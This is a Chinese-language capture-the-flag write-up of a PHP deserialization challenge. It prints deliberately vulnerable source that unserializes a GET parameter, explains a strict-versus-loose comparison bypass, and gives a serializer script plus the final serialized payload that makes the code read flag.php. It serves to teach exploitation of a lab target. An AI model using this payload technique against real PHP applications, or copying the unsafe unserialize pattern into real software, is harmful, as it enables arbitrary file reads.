先看一下源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
前面的我们先不看,直接看到代码的最后一块
这块代码意思是以get请求的方式获取一个str字符串,然后调用is_valid这个函数进行判断,如果为true则进行反序列化。
看到unserialize()这个函数,想都不用想这肯定是php的反序列化漏洞。
接下来我们再看一下is_valid这个函数。他的意思是将传入的str字符串一个字符一个字符的进行判断,若ascii码值在32~125之间,则返回true。
这个process()函数则是判断op的值,如果op的值为1,则调用write();若op的值为2,则调用read()。然而我们的目的就是要调用read()函数读取flag.php文件。
这个函数对前面的process()函数进行了调用。这个函数的意思就是,如果op的值为2,则修改成为1,然后执行process()。我们就是要让他不执行修改op值的这一行代码。
这里存在一个php的弱比较问题。
$this->op === “2”
$this->op == “2”
当op=2时,第一行代码返回false,我们就成功绕过了修改op值的哪一行代码,并且第二行代码,会返回true,就会执行read()。
下面我们就来写一下序列化代码
<?php
class filehandler {
public $op = 2;
public $filename = "flag.php";
public $content = "hello world!";
}
$a = new filehandler();
$b = serialize($a);
echo $b;
?>
O:11:"filehandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"hello world!";}
代码执行结果即为str的值,传入即可。